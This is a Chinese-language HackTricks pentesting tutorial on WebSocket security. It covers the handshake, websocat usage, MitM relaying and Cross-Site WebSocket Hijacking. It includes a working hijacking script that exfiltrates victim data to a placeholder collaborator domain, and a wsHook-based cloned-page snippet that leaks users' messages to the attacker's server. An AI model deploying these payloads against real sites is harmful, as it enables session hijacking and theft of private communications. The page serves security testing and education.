WebSocket Attacks

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

什么是 WebSockets

WebSocket 连接是通过初始的 HTTP 握手建立的,并且被设计为长期存在,允许在任何时候进行双向消息传递,无需事务系统。这使得 WebSockets 特别适用于需要低延迟或服务器发起的通信的应用,比如实时金融数据流。

建立 WebSocket 连接

有关建立 WebSocket 连接的详细说明,请访问此处。简而言之,WebSocket 连接通常是通过客户端 JavaScript 发起的,如下所示:

var ws = new WebSocket("wss://normal-website.com/ws");

wss 协议表示通过 TLS 加密的 WebSocket 连接,而 ws 表示一个未加密的连接。

在建立连接时,浏览器和服务器之间会通过 HTTP 执行握手。握手过程涉及浏览器发送请求,服务器做出响应,如下例所示:

浏览器发送握手请求:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

服务器的握手响应:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

WebSocket握手的关键点:

  • ConnectionUpgrade头部信号启动WebSocket握手。

  • Sec-WebSocket-Version头部指示所需的WebSocket协议版本,通常为13

  • Sec-WebSocket-Key头部中发送一个Base64编码的随机值,确保每次握手都是独一无二的,有助于防止缓存代理出现问题。这个值不是用于身份验证,而是用于确认响应不是由配置错误的服务器或缓存生成的。

  • 服务器响应中的Sec-WebSocket-Accept头部是Sec-WebSocket-Key的哈希值,验证服务器打算打开WebSocket连接的意图。

这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。

websocat --insecure wss://10.10.10.10:8000 -v

或者创建一个websocat服务器:

websocat -s 0.0.0.0:8000 #Listen in port 8000

中间人攻击 websocket 连接

如果发现客户端从当前本地网络连接到一个 HTTP websocket,你可以尝试进行 ARP Spoofing 攻击 来在客户端和服务器之间执行中间人攻击。 一旦客户端尝试连接到你,你可以使用:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets枚举

您可以使用工具https://github.com/PalindromeLabs/STEWS自动发现、指纹识别和搜索websockets中已知的漏洞。

Websocket调试工具

  • Burp Suite支持MitM方式拦截websockets通信,与拦截常规HTTP通信的方式非常相似。

  • socketsleuthBurp Suite扩展将允许您通过获取历史记录、设置拦截规则、使用匹配和替换规则、使用IntruderAutoRepeater更好地管理Burp中的Websocket通信。

  • WSSiP:简称“WebSocket/Socket.io代理”,这个用Node.js编写的工具提供了一个用户界面,用于捕获、拦截、发送自定义消息,并查看客户端和服务器之间的所有WebSocket和Socket.IO通信。

  • wsrepl是一个专为渗透测试设计的交互式websocket REPL。它提供了一个界面,用于观察传入的websocket消息并发送新消息,并提供了一个易于使用的框架来自动化这种通信。

  • https://websocketking.com/是一个用于使用websockets与其他网站进行通信的网站

  • https://hoppscotch.io/realtime/websocket除了其他类型的通信/协议外,它还提供了一个用于使用websockets与其他网站进行通信的网站

Websocket实验室

Burp-Suite-Extender-Montoya-Course中,您可以找到一个使用websockets启动web的代码,在此文章中可以找到解释。

跨站点WebSocket劫持(CSWSH)

跨站点WebSocket劫持,也称为跨源WebSocket劫持,被确定为影响WebSocket握手的特定**跨站点请求伪造(CSRF)的一种情况。当WebSocket握手仅通过HTTP cookie进行身份验证而没有CSRF令牌**或类似的安全措施时,就会出现此漏洞。

攻击者可以利用这一点,托管一个恶意网页,该网页发起与易受攻击应用程序的跨站WebSocket连接。因此,此连接被视为受害者与应用程序会话的一部分,利用会话处理机制中缺乏CSRF保护。

简单攻击

请注意,在建立****websocket连接时,cookie发送到服务器。服务器可能会使用它来关联每个特定用户与其基于发送cookie的websocket会话。

然后,例如,如果websocket 服务器在发送包含“READY”消息的情况下返回用户的对话历史记录,那么通过简单的XSS建立连接(cookie将被自动发送以授权受害者用户),发送READY”将能够检索对话的历史记录

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

在这篇博文https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/中,攻击者成功在进行 Websocket 通信的域的子域执行任意 JavaScript。由于它是一个子域cookie发送,并且由于Websocket 没有正确检查来源,因此可以与其通信并从中窃取令牌

从用户那里窃取数据

复制您想要冒充的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加此代码:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

现在从https://github.com/skepticfx/wshook下载wsHook.js文件,并将其保存在包含网页文件的文件夹中。 暴露网页应用程序并让用户连接到它,您将能够通过websocket窃取发送和接收的消息:

sudo python3 -m http.server 80

竞争条件

WebSockets中的竞争条件也是一个问题,查看此信息以了解更多

其他漏洞

由于WebSockets是一种将数据发送到服务器端和客户端的机制,取决于服务器和客户端如何处理信息,WebSockets可以被用来利用其他几种漏洞,如XSS、SQLi或使用来自WebSockets的用户输入的任何其他常见Web漏洞。

WebSocket劫持

这种漏洞可能允许您通过让反向代理认为已建立了WebSocket通信(即使事实并非如此)来绕过反向代理的限制。这可能允许攻击者访问隐藏的端点。有关更多信息,请查看以下页面:

pageUpgrade Header Smuggling

参考资料

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

最后更新于